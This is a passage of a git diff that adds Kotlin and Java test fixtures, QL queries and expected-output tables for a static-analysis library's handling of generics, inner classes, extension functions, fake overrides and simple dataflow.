+| test.kt:2:9:2:14 | T | TypeAccess |
+| test.kt:2:31:4:1 | { ... } | BlockStmt |
+| test.kt:3:5:3:15 | return ... | ReturnStmt |
+| test.kt:3:12:3:15 | true | BooleanLiteral |
+| test.kt:6:1:10:1 | Foo | Class, GenericType, ParameterizedType |
+| test.kt:6:1:10:1 | Foo | Constructor |
+| test.kt:6:1:10:1 | super(...) | SuperConstructorInvocationStmt |
+| test.kt:6:1:10:1 | { ... } | BlockStmt |
+| test.kt:6:1:10:1 | { ... } | BlockStmt |
+| test.kt:6:11:6:11 | T | TypeVariable |
+| test.kt:7:5:9:5 | boolean | TypeAccess |
+| test.kt:7:5:9:5 | foo | Method |
+| test.kt:7:24:9:5 | { ... } | BlockStmt |
+| test.kt:8:9:8:20 | return ... | ReturnStmt |
+| test.kt:8:16:8:20 | T | TypeAccess |
+| test.kt:8:16:8:20 | TestKt | TypeAccess |
+| test.kt:8:16:8:20 | bar(...) | MethodAccess |
+| test.kt:8:16:8:20 | this | ThisAccess |
diff --git a/java/ql/test/kotlin/library-tests/extensions_recursion/element.ql b/java/ql/test/kotlin/library-tests/extensions_recursion/element.ql
new file mode 100644
index 00000000000..c0e578f7d39
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/extensions_recursion/element.ql
@@ -0,0 +1,5 @@
+import java
+
+from Element e
+where e.fromSource()
+select e, concat(e.getAPrimaryQlClass(), ", ")
diff --git a/java/ql/test/kotlin/library-tests/extensions_recursion/test.kt b/java/ql/test/kotlin/library-tests/extensions_recursion/test.kt
new file mode 100644
index 00000000000..9d03c16fa6f
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/extensions_recursion/test.kt
@@ -0,0 +1,11 @@
+
+fun <T> Foo<T>.bar(): Boolean {
+    return true
+}
+
+class Foo<T> {
+    fun foo(): Boolean {
+        return bar()
+    }
+}
+
diff --git a/java/ql/test/kotlin/library-tests/fake_overrides/all_java/A.java b/java/ql/test/kotlin/library-tests/fake_overrides/all_java/A.java
new file mode 100644
index 00000000000..702cdfc159c
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/fake_overrides/all_java/A.java
@@ -0,0 +1,32 @@
+
+public class A {
+    void foo(OB<G1, G2>.B<E1, E2> z) {
+        int foo = z.someFun();
+    }
+}
+
+class OB<S1, S2> extends OC<F1, F2> {
+	class B<T1, T2> extends OC<F1, F2>.C<D1, D2, T1, T2> {
+	}
+}
+
+class OC<U1, U2> {
+	class C<X1, X2, Y1, Y2> {
+	    int someFun() {
+	        return 5;
+	    }
+	}
+}
+
+class D1 {}
+class D2 {}
+
+class E1 {}
+class E2 {}
+
+class F1 {}
+class F2 {}
+
+class G1 {}
+class G2 {}
+
diff --git a/java/ql/test/kotlin/library-tests/fake_overrides/all_java/call.expected b/java/ql/test/kotlin/library-tests/fake_overrides/all_java/call.expected
new file mode 100644
index 00000000000..6d632ddcfd9
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/fake_overrides/all_java/call.expected
@@ -0,0 +1 @@
+| A.java:4:19:4:29 | someFun(...) | OC$C.class:0:0:0:0 | someFun | OC$C.class:0:0:0:0 | C<D1,D2,E1,E2> | OC.class:0:0:0:0 | OC<F1,F2> |
diff --git a/java/ql/test/kotlin/library-tests/fake_overrides/all_java/call.ql b/java/ql/test/kotlin/library-tests/fake_overrides/all_java/call.ql
new file mode 100644
index 00000000000..6a995409225
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/fake_overrides/all_java/call.ql
@@ -0,0 +1,5 @@
+import java
+
+from MethodAccess c
+select c, c.getCallee(), c.getCallee().getDeclaringType(),
+  c.getCallee().getDeclaringType().(NestedType).getEnclosingType()
diff --git a/java/ql/test/kotlin/library-tests/fake_overrides/all_kotlin/A.kt b/java/ql/test/kotlin/library-tests/fake_overrides/all_kotlin/A.kt
new file mode 100644
index 00000000000..4cb6b42dba5
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/fake_overrides/all_kotlin/A.kt
@@ -0,0 +1,32 @@
+
+class A {
+    fun foo(z: OB<G1, G2>.B<E1, E2>) {
+        val foo = z.someFun()
+    }
+}
+
+class OB<S1, S2>: OC<F1, F2>() {
+	public inner class B<T1, T2>: OC<F1, F2>.C<D1, D2, T1, T2>() {
+	}
+}
+
+open class OC<U1, U2> {
+	open inner class C<X1, X2, Y1, Y2> {
+	    fun someFun(): Int {
+	        return 5
+	    }
+	}
+}
+
+class D1 {}
+class D2 {}
+
+class E1 {}
+class E2 {}
+
+class F1 {}
+class F2 {}
+
+class G1 {}
+class G2 {}
+
diff --git a/java/ql/test/kotlin/library-tests/fake_overrides/all_kotlin/call.expected b/java/ql/test/kotlin/library-tests/fake_overrides/all_kotlin/call.expected
new file mode 100644
index 00000000000..6eca844147c
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/fake_overrides/all_kotlin/call.expected
@@ -0,0 +1 @@
+| A.kt:4:21:4:29 | someFun(...) | file:///!unknown-binary-location/OC$C.class:0:0:0:0 | someFun | file:///!unknown-binary-location/OC$C.class:0:0:0:0 | C<D1,D2,E1,E2> | file:///!unknown-binary-location/OC.class:0:0:0:0 | OC<F1,F2> |
diff --git a/java/ql/test/kotlin/library-tests/fake_overrides/all_kotlin/call.ql b/java/ql/test/kotlin/library-tests/fake_overrides/all_kotlin/call.ql
new file mode 100644
index 00000000000..6a995409225
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/fake_overrides/all_kotlin/call.ql
@@ -0,0 +1,5 @@
+import java
+
+from MethodAccess c
+select c, c.getCallee(), c.getCallee().getDeclaringType(),
+  c.getCallee().getDeclaringType().(NestedType).getEnclosingType()
diff --git a/java/ql/test/kotlin/library-tests/fake_overrides/kotlin_calling_java/A.kt b/java/ql/test/kotlin/library-tests/fake_overrides/kotlin_calling_java/A.kt
new file mode 100644
index 00000000000..8482210e238
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/fake_overrides/kotlin_calling_java/A.kt
@@ -0,0 +1,13 @@
+
+class A {
+    fun foo(z: OB<G1, G2>.B<E1, E2>) {
+        val foo = z.someFun()
+    }
+}
+
+class E1 {}
+class E2 {}
+
+class G1 {}
+class G2 {}
+
diff --git a/java/ql/test/kotlin/library-tests/fake_overrides/kotlin_calling_java/OB.java b/java/ql/test/kotlin/library-tests/fake_overrides/kotlin_calling_java/OB.java
new file mode 100644
index 00000000000..422da0c3699
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/fake_overrides/kotlin_calling_java/OB.java
@@ -0,0 +1,20 @@
+
+public class OB<S1, S2> extends OC<F1, F2> {
+	public class B<T1, T2> extends OC<F1, F2>.C<D1, D2, T1, T2> {
+	}
+}
+
+class OC<U1, U2> {
+	public class C<X1, X2, Y1, Y2> {
+	    int someFun() {
+	        return 5;
+	    }
+	}
+}
+
+class D1 {}
+class D2 {}
+
+class F1 {}
+class F2 {}
+
diff --git a/java/ql/test/kotlin/library-tests/fake_overrides/kotlin_calling_java/call.expected b/java/ql/test/kotlin/library-tests/fake_overrides/kotlin_calling_java/call.expected
new file mode 100644
index 00000000000..2f72cb4325d
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/fake_overrides/kotlin_calling_java/call.expected
@@ -0,0 +1,2 @@
+| A.kt:4:21:4:29 | someFun(...) | file:///!unknown-binary-location/OC$C.class:0:0:0:0 | someFun | file:///!unknown-binary-location/OC$C.class:0:0:0:0 | C<D1,D2,E1,E2> | OC.class:0:0:0:0 | OC<F1,F2> |
+| A.kt:4:21:4:29 | someFun(...) | file:///!unknown-binary-location/OC$C.class:0:0:0:0 | someFun | file:///!unknown-binary-location/OC$C.class:0:0:0:0 | C<D1,D2,E1,E2> | file:///!unknown-binary-location/OC.class:0:0:0:0 | OC<F1,F2> |
diff --git a/java/ql/test/kotlin/library-tests/fake_overrides/kotlin_calling_java/call.ql b/java/ql/test/kotlin/library-tests/fake_overrides/kotlin_calling_java/call.ql
new file mode 100644
index 00000000000..6a995409225
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/fake_overrides/kotlin_calling_java/call.ql
@@ -0,0 +1,5 @@
+import java
+
+from MethodAccess c
+select c, c.getCallee(), c.getCallee().getDeclaringType(),
+  c.getCallee().getDeclaringType().(NestedType).getEnclosingType()
diff --git a/java/ql/test/kotlin/library-tests/field-initializer-flow/test.expected b/java/ql/test/kotlin/library-tests/field-initializer-flow/test.expected
new file mode 100644
index 00000000000..a959250456f
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/field-initializer-flow/test.expected
@@ -0,0 +1,3 @@
+isFinalField
+| test.kt:3:3:3:18 | x |
+#select
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/field-initializer-flow/test.kt b/java/ql/test/kotlin/library-tests/field-initializer-flow/test.kt
new file mode 100644
index 00000000000..a8598658da4
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/field-initializer-flow/test.kt
@@ -0,0 +1,11 @@
+class Test {
+
+  val x = "Source"
+
+  fun test() {
+    sink(x)
+  }
+
+  fun sink(s: String) { }
+
+}
diff --git a/java/ql/test/kotlin/library-tests/field-initializer-flow/test.ql b/java/ql/test/kotlin/library-tests/field-initializer-flow/test.ql
new file mode 100644
index 00000000000..aeb2c5d5bbc
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/field-initializer-flow/test.ql
@@ -0,0 +1,20 @@
+import java
+import semmle.code.java.dataflow.DataFlow
+
+class Config extends DataFlow::Configuration {
+  Config() { this = "Config" }
+
+  override predicate isSource(DataFlow::Node n) { n.asExpr().(StringLiteral).getValue() = "Source" }
+
+  override predicate isSink(DataFlow::Node n) {
+    n.asExpr().(Argument).getCall().getCallee().getName() = "sink"
+  }
+}
+
+query predicate isFinalField(Field f) {
+  exists(FieldDeclaration f2 | f = f2.getAField()) and f.isFinal()
+}
+
+from DataFlow::Node source, DataFlow::Node sink
+where any(Config c).hasFlow(source, sink)
+select source, sink
diff --git a/java/ql/test/kotlin/library-tests/files/otherfile.kt b/java/ql/test/kotlin/library-tests/files/otherfile.kt
new file mode 100644
index 00000000000..3be0843b407
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/files/otherfile.kt
@@ -0,0 +1,3 @@
+package main
+
+class DefinedOtherFile<T> { }
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/files/test.expected b/java/ql/test/kotlin/library-tests/files/test.expected
new file mode 100644
index 00000000000..ccc50916f9a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/files/test.expected
@@ -0,0 +1,5 @@
+| test.kt:7:3:7:11 | b | String | String.class | 0 |
+| test.kt:8:3:8:24 | c | List<String> | List.class | 0 |
+| test.kt:9:3:9:28 | d | List<? extends String> | List.class | 0 |
+| test.kt:10:3:10:24 | e | DefinedHere<String> | DefinedHere.class | 0 |
+| test.kt:11:3:11:29 | f | DefinedOtherFile<String> | DefinedOtherFile.class | 0 |
diff --git a/java/ql/test/kotlin/library-tests/files/test.kt b/java/ql/test/kotlin/library-tests/files/test.kt
new file mode 100644
index 00000000000..2a5cb618f92
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/files/test.kt
@@ -0,0 +1,14 @@
+package main
+
+import kotlin.collections.MutableList
+
+fun test(
+  a: Int,
+  b: String,
+  c: MutableList<String>,
+  d: MutableList<out String>,
+  e: DefinedHere<String>,
+  f: DefinedOtherFile<String>
+) { }
+
+class DefinedHere<T> { }
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/files/test.ql b/java/ql/test/kotlin/library-tests/files/test.ql
new file mode 100644
index 00000000000..f4738d75a99
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/files/test.ql
@@ -0,0 +1,6 @@
+import java
+
+from Parameter p
+where p.fromSource()
+select p, p.getType().toString(), p.getType().getFile().getBaseName(),
+  p.getType().getLocation().getStartLine()
diff --git a/java/ql/test/kotlin/library-tests/function-n/test.expected b/java/ql/test/kotlin/library-tests/function-n/test.expected
new file mode 100644
index 00000000000..d4b769ca8ce
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/function-n/test.expected
@@ -0,0 +1,3 @@
+| test.kt:4:5:4:138 | f1 | FunctionN<String> | String |
+| test.kt:5:5:5:134 | f2 | FunctionN<T1> | T1 |
+| test.kt:6:5:6:110 | f3 | FunctionN<T3> | T3 |
diff --git a/java/ql/test/kotlin/library-tests/function-n/test.kt b/java/ql/test/kotlin/library-tests/function-n/test.kt
new file mode 100644
index 00000000000..1e1860a9ac4
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/function-n/test.kt
@@ -0,0 +1,8 @@
+class TakesLambdas {
+
+  fun <T1, T2, T3> test(
+    f1: (Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int) -> String,
+    f2: (Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int, Int) -> T1,
+    f3: (T2, T2, T2, T2, T2, T2, T2, T2, T2, T2, T2, T2, T2, T2, T2, T2, T2, T2, T2, T2, T2, T2, T2, T2) -> T3) { }
+
+}
diff --git a/java/ql/test/kotlin/library-tests/function-n/test.ql b/java/ql/test/kotlin/library-tests/function-n/test.ql
new file mode 100644
index 00000000000..870eb169f88
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/function-n/test.ql
@@ -0,0 +1,5 @@
+import java
+
+from Parameter p
+where p.getCallable().fromSource()
+select p, p.getType().toString(), p.getType().(ParameterizedType).getATypeArgument().toString()
diff --git a/java/ql/test/kotlin/library-tests/generic-inner-classes/KotlinUser.kt b/java/ql/test/kotlin/library-tests/generic-inner-classes/KotlinUser.kt
new file mode 100644
index 00000000000..b3f607fce78
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-inner-classes/KotlinUser.kt
@@ -0,0 +1,18 @@
+package testuser
+
+class User {
+
+  fun test() {
+
+    val a = OuterGeneric<Int>().InnerGeneric<String>("hello")
+    val a2 = OuterGeneric<Int>().InnerGeneric("hello")
+    val b = OuterGeneric<Int>().InnerNotGeneric()
+    val c = OuterNotGeneric().InnerGeneric<String>()
+
+    val result1 = a.returnsecond(0, "hello")
+    val result2 = b.identity(5)
+    val result3 = c.identity("world")
+
+  }
+
+}
diff --git a/java/ql/test/kotlin/library-tests/generic-inner-classes/OuterGeneric.kt b/java/ql/test/kotlin/library-tests/generic-inner-classes/OuterGeneric.kt
new file mode 100644
index 00000000000..616e1d3aefd
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-inner-classes/OuterGeneric.kt
@@ -0,0 +1,22 @@
+package testuser
+
+public class OuterGeneric<T> {
+
+  public inner class InnerNotGeneric {
+
+    fun identity(t: T): T { return t }
+
+  }
+
+  public inner class InnerGeneric<S> {
+
+    constructor() { }
+
+    constructor(s: S) { }
+
+    fun returnsecond(t: T, s: S): S { return s; }
+
+  }
+
+}
+
diff --git a/java/ql/test/kotlin/library-tests/generic-inner-classes/OuterNotGeneric.kt b/java/ql/test/kotlin/library-tests/generic-inner-classes/OuterNotGeneric.kt
new file mode 100644
index 00000000000..f1b9f6dc2d5
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-inner-classes/OuterNotGeneric.kt
@@ -0,0 +1,11 @@
+package testuser
+
+public class OuterNotGeneric {
+
+  public inner class InnerGeneric<S> {
+
+    fun identity(s: S): S { return s }
+
+  }
+
+}
diff --git a/java/ql/test/kotlin/library-tests/generic-inner-classes/test.expected b/java/ql/test/kotlin/library-tests/generic-inner-classes/test.expected
new file mode 100644
index 00000000000..62b3d9bbaae
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-inner-classes/test.expected
@@ -0,0 +1,60 @@
+callArgs
+| KotlinUser.kt:7:13:7:31 | new OuterGeneric<Integer>(...) | KotlinUser.kt:7:13:7:31 | OuterGeneric<Integer> | -3 |
+| KotlinUser.kt:7:33:7:61 | new InnerGeneric<String>(...) | KotlinUser.kt:7:13:7:31 | new OuterGeneric<Integer>(...) | -2 |
+| KotlinUser.kt:7:33:7:61 | new InnerGeneric<String>(...) | KotlinUser.kt:7:33:7:61 | InnerGeneric<String> | -3 |
+| KotlinUser.kt:7:33:7:61 | new InnerGeneric<String>(...) | KotlinUser.kt:7:55:7:59 | hello | 0 |
+| KotlinUser.kt:8:14:8:32 | new OuterGeneric<Integer>(...) | KotlinUser.kt:8:14:8:32 | OuterGeneric<Integer> | -3 |
+| KotlinUser.kt:8:34:8:54 | new InnerGeneric<String>(...) | KotlinUser.kt:8:14:8:32 | new OuterGeneric<Integer>(...) | -2 |
+| KotlinUser.kt:8:34:8:54 | new InnerGeneric<String>(...) | KotlinUser.kt:8:34:8:54 | InnerGeneric<String> | -3 |
+| KotlinUser.kt:8:34:8:54 | new InnerGeneric<String>(...) | KotlinUser.kt:8:48:8:52 | hello | 0 |
+| KotlinUser.kt:9:13:9:31 | new OuterGeneric<Integer>(...) | KotlinUser.kt:9:13:9:31 | OuterGeneric<Integer> | -3 |
+| KotlinUser.kt:9:33:9:49 | new InnerNotGeneric<>(...) | KotlinUser.kt:9:13:9:31 | new OuterGeneric<Integer>(...) | -2 |
+| KotlinUser.kt:9:33:9:49 | new InnerNotGeneric<>(...) | KotlinUser.kt:9:33:9:49 | InnerNotGeneric<> | -3 |
+| KotlinUser.kt:10:13:10:29 | new OuterNotGeneric(...) | KotlinUser.kt:10:13:10:29 | OuterNotGeneric | -3 |
+| KotlinUser.kt:10:31:10:52 | new InnerGeneric<String>(...) | KotlinUser.kt:10:13:10:29 | new OuterNotGeneric(...) | -2 |
+| KotlinUser.kt:10:31:10:52 | new InnerGeneric<String>(...) | KotlinUser.kt:10:31:10:52 | InnerGeneric<String> | -3 |
+| KotlinUser.kt:12:21:12:44 | returnsecond(...) | KotlinUser.kt:12:19:12:19 | a | -1 |
+| KotlinUser.kt:12:21:12:44 | returnsecond(...) | KotlinUser.kt:12:34:12:34 | 0 | 0 |
+| KotlinUser.kt:12:21:12:44 | returnsecond(...) | KotlinUser.kt:12:38:12:42 | hello | 1 |
+| KotlinUser.kt:13:21:13:31 | identity(...) | KotlinUser.kt:13:19:13:19 | b | -1 |
+| KotlinUser.kt:13:21:13:31 | identity(...) | KotlinUser.kt:13:30:13:30 | 5 | 0 |
+| KotlinUser.kt:14:21:14:37 | identity(...) | KotlinUser.kt:14:19:14:19 | c | -1 |
+| KotlinUser.kt:14:21:14:37 | identity(...) | KotlinUser.kt:14:31:14:35 | world | 0 |
+genericTypes
+| OuterGeneric.kt:3:1:21:1 | OuterGeneric | OuterGeneric.kt:3:27:3:27 | T |
+| OuterGeneric.kt:11:3:19:3 | InnerGeneric | OuterGeneric.kt:11:35:11:35 | S |
+| OuterNotGeneric.kt:5:3:9:3 | InnerGeneric | OuterNotGeneric.kt:5:35:5:35 | S |
+paramTypes
+| OuterGeneric.kt:3:1:21:1 | OuterGeneric | T |
+| OuterGeneric.kt:11:3:19:3 | InnerGeneric | S |
+| OuterNotGeneric.kt:5:3:9:3 | InnerGeneric | S |
+| file:///!unknown-binary-location/testuser/OuterGeneric$InnerGeneric.class:0:0:0:0 | InnerGeneric<String> | String |
+| file:///!unknown-binary-location/testuser/OuterGeneric.class:0:0:0:0 | OuterGeneric<Integer> | Integer |
+| file:///!unknown-binary-location/testuser/OuterNotGeneric$InnerGeneric.class:0:0:0:0 | InnerGeneric<String> | String |
+constructors
+| KotlinUser.kt:3:1:18:1 | User |
+| OuterGeneric.kt:3:8:21:1 | OuterGeneric |
+| OuterGeneric.kt:5:16:9:3 | InnerNotGeneric |
+| OuterGeneric.kt:13:5:13:21 | InnerGeneric |
+| OuterGeneric.kt:15:5:15:25 | InnerGeneric |
+| OuterNotGeneric.kt:3:8:11:1 | OuterNotGeneric |
+| OuterNotGeneric.kt:5:16:9:3 | InnerGeneric |
+| file:///!unknown-binary-location/testuser/OuterGeneric$InnerGeneric.class:0:0:0:0 | InnerGeneric<String> |
+| file:///!unknown-binary-location/testuser/OuterGeneric$InnerGeneric.class:0:0:0:0 | InnerGeneric<String> |
+| file:///!unknown-binary-location/testuser/OuterGeneric$InnerNotGeneric.class:0:0:0:0 | InnerNotGeneric<> |
+| file:///!unknown-binary-location/testuser/OuterGeneric.class:0:0:0:0 | OuterGeneric<Integer> |
+| file:///!unknown-binary-location/testuser/OuterNotGeneric$InnerGeneric.class:0:0:0:0 | InnerGeneric<String> |
+nestedTypes
+| OuterGeneric.kt:5:3:9:3 | InnerNotGeneric | OuterGeneric.kt:3:1:21:1 | OuterGeneric |
+| OuterGeneric.kt:11:3:19:3 | InnerGeneric | OuterGeneric.kt:3:1:21:1 | OuterGeneric |
+| OuterNotGeneric.kt:5:3:9:3 | InnerGeneric | OuterNotGeneric.kt:3:1:11:1 | OuterNotGeneric |
+| file:///!unknown-binary-location/testuser/OuterGeneric$InnerGeneric.class:0:0:0:0 | InnerGeneric<String> | file:///!unknown-binary-location/testuser/OuterGeneric.class:0:0:0:0 | OuterGeneric<Integer> |
+| file:///!unknown-binary-location/testuser/OuterGeneric$InnerNotGeneric.class:0:0:0:0 | InnerNotGeneric<> | file:///!unknown-binary-location/testuser/OuterGeneric.class:0:0:0:0 | OuterGeneric<Integer> |
+| file:///!unknown-binary-location/testuser/OuterNotGeneric$InnerGeneric.class:0:0:0:0 | InnerGeneric<String> | OuterNotGeneric.kt:3:1:11:1 | OuterNotGeneric |
+#select
+| KotlinUser.kt:7:13:7:31 | new OuterGeneric<Integer>(...) | file:///!unknown-binary-location/testuser/OuterGeneric.class:0:0:0:0 | OuterGeneric<Integer> | file:///!unknown-binary-location/testuser/OuterGeneric.class:0:0:0:0 | OuterGeneric<Integer> | KotlinUser.kt:7:13:7:31 | Integer |
+| KotlinUser.kt:7:33:7:61 | new InnerGeneric<String>(...) | file:///!unknown-binary-location/testuser/OuterGeneric$InnerGeneric.class:0:0:0:0 | InnerGeneric<String> | file:///!unknown-binary-location/testuser/OuterGeneric$InnerGeneric.class:0:0:0:0 | InnerGeneric<String> | KotlinUser.kt:7:33:7:61 | String |
+| KotlinUser.kt:8:14:8:32 | new OuterGeneric<Integer>(...) | file:///!unknown-binary-location/testuser/OuterGeneric.class:0:0:0:0 | OuterGeneric<Integer> | file:///!unknown-binary-location/testuser/OuterGeneric.class:0:0:0:0 | OuterGeneric<Integer> | KotlinUser.kt:8:14:8:32 | Integer |
+| KotlinUser.kt:8:34:8:54 | new InnerGeneric<String>(...) | file:///!unknown-binary-location/testuser/OuterGeneric$InnerGeneric.class:0:0:0:0 | InnerGeneric<String> | file:///!unknown-binary-location/testuser/OuterGeneric$InnerGeneric.class:0:0:0:0 | InnerGeneric<String> | KotlinUser.kt:8:34:8:54 | String |
+| KotlinUser.kt:9:13:9:31 | new OuterGeneric<Integer>(...) | file:///!unknown-binary-location/testuser/OuterGeneric.class:0:0:0:0 | OuterGeneric<Integer> | file:///!unknown-binary-location/testuser/OuterGeneric.class:0:0:0:0 | OuterGeneric<Integer> | KotlinUser.kt:9:13:9:31 | Integer |
+| KotlinUser.kt:10:31:10:52 | new InnerGeneric<String>(...) | file:///!unknown-binary-location/testuser/OuterNotGeneric$InnerGeneric.class:0:0:0:0 | InnerGeneric<String> | file:///!unknown-binary-location/testuser/OuterNotGeneric$InnerGeneric.class:0:0:0:0 | InnerGeneric<String> | KotlinUser.kt:10:31:10:52 | String |
diff --git a/java/ql/test/kotlin/library-tests/generic-inner-classes/test.ql b/java/ql/test/kotlin/library-tests/generic-inner-classes/test.ql
new file mode 100644
index 00000000000..9729007e9ce
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-inner-classes/test.ql
@@ -0,0 +1,28 @@
+import java
+
+query predicate callArgs(Call gc, Expr arg, int idx) {
+  arg.getParent() = gc and idx = arg.getIndex()
+}
+
+query predicate genericTypes(GenericType rt, TypeVariable param) {
+  rt.getPackage().getName() = "testuser" and
+  param = rt.getATypeParameter()
+}
+
+query predicate paramTypes(ParameterizedType rt, string typeArg) {
+  rt.getPackage().getName() = "testuser" and
+  typeArg = rt.getATypeArgument().toString()
+}
+
+query predicate constructors(Constructor c) {
+  c.getDeclaringType().getPackage().getName() = "testuser"
+}
+
+query predicate nestedTypes(NestedType nt, RefType parent) {
+  nt.getPackage().getName() = "testuser" and
+  parent = nt.getEnclosingType()
+}
+
+from ClassInstanceExpr cie
+where cie.getFile().isSourceFile()
+select cie, cie.getConstructedType(), cie.getConstructor(), cie.getATypeArgument()
diff --git a/java/ql/test/kotlin/library-tests/generic-instance-methods/Test.java b/java/ql/test/kotlin/library-tests/generic-instance-methods/Test.java
new file mode 100644
index 00000000000..028b9d40c9b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-instance-methods/Test.java
@@ -0,0 +1,33 @@
+class Generic2<T> { 
+
+  public Generic2(T init) { stored = init; }
+
+  private T stored;
+
+  T identity2(T param) { return identity(param); }
+  T identity(T param) { return param; }
+  T getter() { return stored; }
+  void setter(T param) { stored = param; }
+
+}
+
+public class Test {
+
+  public static void user() {
+
+    Generic2<String> invariant = new Generic2<String>("hello world");
+    invariant.identity("hello world");
+    invariant.identity2("hello world");
+
+    Generic2<? extends String> projectedOut = invariant;
+    projectedOut.getter();
+
+    Generic2<? super String> projectedIn = invariant;
+    projectedIn.setter("hi planet");
+    projectedIn.getter();
+
+  }
+
+}
+
+
diff --git a/java/ql/test/kotlin/library-tests/generic-instance-methods/test.expected b/java/ql/test/kotlin/library-tests/generic-instance-methods/test.expected
new file mode 100644
index 00000000000..13c5c19bd68
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generic-instance-methods/test.expected
@@ -0,0 +1,78 @@
+calls
+| Test.java:7:33:7:47 | identity(...) | Test.java:7:5:7:13 | identity2 | Test.java:1:7:1:14 | Generic2 | Test.java:8:5:8:12 | identity | Test.java:1:7:1:14 | Generic2 |
+| Test.java:19:5:19:37 | identity(...) | Test.java:16:22:16:25 | user | Test.java:14:14:14:17 | Test | Generic2.class:0:0:0:0 | identity | Generic2.class:0:0:0:0 | Generic2<String> |
+| Test.java:20:5:20:38 | identity2(...) | Test.java:16:22:16:25 | user | Test.java:14:14:14:17 | Test | Generic2.class:0:0:0:0 | identity2 | Generic2.class:0:0:0:0 | Generic2<String> |
+| Test.java:23:5:23:25 | getter(...) | Test.java:16:22:16:25 | user | Test.java:14:14:14:17 | Test | Generic2.class:0:0:0:0 | getter | Generic2.class:0:0:0:0 | Generic2<? extends String> |
+| Test.java:26:5:26:35 | setter(...) | Test.java:16:22:16:25 | user | Test.java:14:14:14:17 | Test | Generic2.class:0:0:0:0 | setter | Generic2.class:0:0:0:0 | Generic2<? super String> |
+| Test.java:27:5:27:24 | getter(...) | Test.java:16:22:16:25 | user | Test.java:14:14:14:17 | Test | Generic2.class:0:0:0:0 | getter | Generic2.class:0:0:0:0 | Generic2<? super String> |
+| test.kt:5:32:5:46 | identity(...) | test.kt:5:3:5:46 | identity2 | test.kt:1:1:10:1 | Generic | test.kt:6:3:6:35 | identity | test.kt:1:1:10:1 | Generic |
+| test.kt:7:21:7:26 | getStored(...) | test.kt:7:3:7:26 | getter | test.kt:1:1:10:1 | Generic | test.kt:3:3:3:19 | getStored | test.kt:1:1:10:1 | Generic |
+| test.kt:8:26:8:31 | setStored(...) | test.kt:8:3:8:41 | setter | test.kt:1:1:10:1 | Generic | test.kt:3:3:3:19 | setStored | test.kt:1:1:10:1 | Generic |
+| test.kt:15:13:15:35 | identity(...) | test.kt:12:1:25:1 | user | test.kt:0:0:0:0 | TestKt | file:///!unknown-binary-location/Generic.class:0:0:0:0 | identity | file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<String> |
+| test.kt:16:13:16:36 | identity2(...) | test.kt:12:1:25:1 | user | test.kt:0:0:0:0 | TestKt | file:///!unknown-binary-location/Generic.class:0:0:0:0 | identity2 | file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<String> |
+| test.kt:19:16:19:23 | getter(...) | test.kt:12:1:25:1 | user | test.kt:0:0:0:0 | TestKt | file:///!unknown-binary-location/Generic.class:0:0:0:0 | getter | file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? extends String> |
+| test.kt:22:15:22:33 | setter(...) | test.kt:12:1:25:1 | user | test.kt:0:0:0:0 | TestKt | file:///!unknown-binary-location/Generic.class:0:0:0:0 | setter | file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? super String> |
+| test.kt:23:15:23:22 | getter(...) | test.kt:12:1:25:1 | user | test.kt:0:0:0:0 | TestKt | file:///!unknown-binary-location/Generic.class:0:0:0:0 | getter | file:///!unknown-binary-location/Generic.class:0:0:0:0 | Generic<? super String> |
+constructors
+| Generic2.class:0:0:0:0 | Generic2<? extends String> | Generic2.class:0:0:0:0 | Generic2<? extends String> | Generic2<? extends String>(java.lang.String) | ? extends String | void | Test.java:1:7:1:14 | Generic2 | Test.java:3:10:3:17 | Generic2 |
+| Generic2.class:0:0:0:0 | Generic2<? super String> | Generic2.class:0:0:0:0 | Generic2<? super String> | Generic2<? super String>(java.lang.Object) | ? super String | void | Test.java:1:7:1:14 | Generic2 | Test.java:3:10:3:17 | Generic2 |
+| Generic2.class:0:0:0:0 | Generic2<String> | Generic2.class:0:0:0:0 | Generic2<String> | Generic2<String>(java.lang.String) | String | void | Test.java:1:7:1:14 | Generic2 | Test.java:3:10:3:17 | Generic2 |
+| Test.java:1:7:1:14 | Generic2 | Test.java:3:10:3:17 | Generic2 | Generic2(java.lang.Object) | T | void | Test.java:1:7:1:14 | Generic2 | Test.java:3:10:3:17 | Generic2 |
